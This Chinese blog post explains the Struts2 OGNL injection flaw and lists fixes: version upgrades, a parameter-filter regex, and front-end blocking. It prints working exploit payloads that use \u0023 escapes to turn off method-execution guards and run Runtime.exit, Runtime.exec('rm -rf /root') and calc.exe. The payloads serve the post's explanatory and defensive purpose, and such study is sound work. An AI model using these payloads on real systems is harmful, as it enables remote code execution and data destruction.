OGNL漏洞原理与解决方案

最新推荐文章于 2025-09-07 15:28:19 发布

原创最新推荐文章于 2025-09-07 15:28:19 发布 · 1.7k 阅读

1 ·

CC 4.0 BY-SA版权

文章标签：

#web渗透 #owasp top 10

渗透专栏收录该内容

22 篇文章

订阅专栏

本文详细介绍了OGNL漏洞的原理，指出Struts2框架如何处理HTTP参数，以及攻击者如何利用Unicode转义字符绕过限制执行任意代码。提出了四种解决方案，包括升级Struts2版本、参数过滤、前端拦截和全面升级，并分析了各方案的优缺点。建议采用全面升级至Struts2.3.24，并结合其他防御措施确保安全性。

一，漏洞存在的地方和原理

Struts2的核心是使用的webwork框架，处理 action时通过调用底层的getter/setter方法来处理http的参数，它将每个http参数声明为一个ONGL（这里是ONGL的介绍）语句。当我们提交一个http参数：

Java代码

?user.address.city=Bishkek&user['favoriteDrink']=kumys

ONGL将它转换为：

Java代码

action.getUser().getAddress().setCity("Bishkek")
action.getUser().setFavoriteDrink("kumys")

这是通过ParametersInterceptor（参数过滤器）来执行的，使用用户提供的HTTP参数调用 ValueStack.setValue()。
为了防范篡改服务器端对象，XWork的ParametersInterceptor不允许参数名中出现“#”字符，但如果使用了Java的 unicode字符串表示\u0023，攻击者就可以绕过保护，修改保护Java方式执行的值：
此处代码有破坏性，请在测试环境执行，严禁用此种方法进行恶意攻击

Java代码

?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1

转义后是这样：

Java代码

?('#_memberAccess['allowStaticMethodAccess']')(meh)=true&(aaa)(('#context['xwork.MethodAccessor.denyMethodExecution']=#foo')(#foo=new%20java.lang.Boolean("false")))&(asdf)(('#rt.exit(1)')(#rt=@java.lang.Runtime@getRuntime()))=1

OGNL处理时最终的结果就是

Java代码

java.lang.Runtime.getRuntime().exit(1);

类似的可以执行

Java代码

java.lang.Runtime.getRuntime().exec("rm –rf /root")

，只要有权限就可以删除任何一个目录。

https://example.com/xx.action?XXParam＝＃％20context＇xwork.MethodAccessor.denyMethodExecution＇l＝false，＃-memberAccess.allowPrivateAccess＝true，＃result＝＠java.lang.Runtime＠getRuntime.exec（＇calc.exe＇）这里攻击者通过XXParam传入OGNL表达式，被服务器解析，执行Java语言代码，修改xwork.MethodAccessor.denyMethodExecution属性的值为false修改_memberAccess.allowPrivateAccess的属性的值为true ，并执行java.lang.Runtime.getRuntime（）.exec（＇calc.exe＂）命令调用。

设置struts.ognl.allowStaticMethodAccess为false，设置_memberAccess.allowPrivateAccess为false ，设置
xwork.MethodAccessor.denyMethodExecution为true ，并采用白名单策略对用户输入的OGNL表达式进行过滤。

二，消除的方法是

大概有四种解决方案，方案如下。建议使用第四中方案。
　　1.升级到struts2.2版本。
　　这个可以避免这个问题，经测试发现新版本虽然解决了上述的漏洞，但是新的问题是strus标签出问题了。

<s:bean id="Test" name="cn.com.Test"></s:bean>
<s:property value="#Test.getType().get(cType.toString())" />
　　这样的标签在struts2.0中是可以使用的，但是新版中就不解析了，原因就是“#”的问题导致的，补了漏洞，正常的使用也用不了了。
所以sebug网站上的建议升级到2.2版本是不可行的。

　　2.struts参数过滤。

<interceptor-ref name="params">
<param name="excludeParams">.*\\u0023.*</param>
</interceptor-ref>
　　这个可以解决漏洞问题，缺点是工作量大，每个项目都得改struts配置文件。如果项目里，是引用的一个类似global.xml的配置文件，工作量相应减少一些。

　　3.在前端请求进行过滤。
　　比如在ngnix，apache进行拦截，参数中带有\u0023的一律视为攻击，跳转到404页面或者别的什么页面。这样做的一个前提就是没人把#号转码后作为参数传递。
　　请求如果是get方式，可以进行过滤，如果是post方式就过滤不到了，所以还是应该修改配置文件或更新新的jar包。
　
　　4、全面升级。struts2.1.8.1升级至2.3.24 　

1、新增JAR包：commons-lang3-3.2.jar 和 javassist-3.11.0.GA.jar
2、替换JAR包：
commons-fileupload-1.2.1.jar —->commons-fileupload-1.3.1.jar
commons-io-1.3.2.jar —–>commons-io-2.2.jar
freemarker-2.3.15.jar —->freemarker-2.3.22.jar
ognl-2.7.3.jar —-> ognl-3.0.6.jar
struts2-core-2.1.8.1.jar —-> struts2-core-2.3.24.jar
xwork-core-2.1.6.jar —–> xwork-core-2.3.24.jar
3、保留原有的commons-lang.jar，org.apache.commons.lang.StringUtils类被org.apache.commons.lang3.StringUtils替换了
4、修改web.xml, 将org.apache.struts2.dispatcher.FilterDispatcher 改为 org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter